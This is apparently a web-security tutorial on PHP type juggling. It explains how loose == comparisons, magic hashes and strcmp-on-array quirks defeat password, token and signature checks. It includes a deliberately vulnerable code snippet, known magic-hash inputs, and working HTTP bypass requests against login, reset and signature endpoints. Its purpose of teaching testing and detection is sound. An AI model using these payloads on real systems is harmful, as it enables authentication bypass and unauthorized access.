PHP Type Juggling: When Loose Comparisons Accept Anything
PHP's loose == operator coerces types in surprising ways, letting magic-hash and array tricks bypass authentication and hash checks. We cover spotting loose comparisons and a working bypass PoC.
PHP type juggling abuses the loose comparison operator ==, which coerces operands to a common type before comparing. The result is that strings like "0e123" compare equal to "0e456" (both treated as the number zero), and an array compared against a string can short-circuit a check. Where these comparisons guard authentication, password hashes, or tokens, the coercion becomes a bypass.
Where it hides
The root cause is == (and in_array/switch without strict mode) used on values an attacker influences. You find it in source review or by behavioral probing of security-sensitive comparisons:
- Login and password checks:
if ($hash == $stored_hash)ormd5($pass) == $stored. - Token/signature/HMAC verification using
==instead ofhash_equals. - "Magic link" / reset-token comparisons, API key checks.
switch ($role)andin_array($val, $allowed)gates.
The classic exploitable case is the magic hash: when a stored hash happens to start with 0e followed by only digits, PHP reads it as scientific notation 0 * 10^n = 0. Any input whose hash is also 0e[digits] then compares equal. The detection signal in source is md5()/sha1() output fed into ==:
// Vulnerable: loose comparison of a hash
if (md5($_POST['password']) == $stored_hash) { /* authenticated */ }
Black-box, the tell is subtler — try array-style parameters and known magic-hash strings against auth endpoints and watch for an unexpected success. magichash-style wordlists collect inputs that hash to 0e....
Reproducing it
Magic-hash auth bypass. If the stored hash is a 0e[0-9]+ value (these exist for many algorithms), submit a password whose hash is also 0e[0-9]+. A well-known md5 magic input is 240610708 (md5 = 0e462097431906509019562988736854):
POST /login HTTP/1.1
Host: app.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=240610708
If the stored admin hash is itself a 0e-magic hash, 0e... == 0e... is true and you authenticate without the real password. The collection below is handy for the relevant algorithm:
md5("240610708") = 0e462097431906509019562988736854
md5("QNKCDZO") = 0e830400451993494058024219903391
sha1("10932435112")= 0e07766915004133176347055865026311692244
Array-injection bypass. Many comparisons break when fed an array instead of a string. For token checks like if ($_GET['token'] == $secret), passing an array makes the comparison behave unexpectedly, and strcmp($_GET['token'], $secret) returns NULL (loosely equal to 0) on an array, which a == 0 check reads as "match":
GET /reset?token[]= HTTP/1.1
Host: app.example.com
Using bracket syntax sends token as an array; against strcmp(...) == 0 or a loose ==, this often passes the check, granting access without the real token. Confirm by the privileged outcome (reset page accepts, admin action allowed).
JSON-driven juggling. In APIs that decode JSON and compare loosely, you control the type directly. Sending a number where a string hash is expected, or a boolean true, can satisfy ==:
POST /api/verify HTTP/1.1
Host: app.example.com
Content-Type: application/json
{"signature": true, "data": "..."}
If $sig == $expected is true when $sig is boolean true (any non-empty string is loosely equal to true), the signature check is defeated.
Going further
The impact is whatever the bypassed comparison protected:
- Authentication bypass via magic hashes against
==-compared password hashes. - Signature/HMAC forgery where
==(nothash_equals) lets a type trick pass verification — enabling token or webhook spoofing. - Reset/verification token bypass through array injection on loose comparisons.
A practical recon habit is to throw param[]= (array form), a known magic-hash string, and a JSON true/0 at every auth, token, and signature parameter and watch for any unexpected success — each targets a different coercion. In source, grep for == near md5/sha1/hash/strcmp and for in_array(/switch( without the strict flag. Capture the request, the coercion you used, and the privileged result. Test only on authorized targets with accounts you control.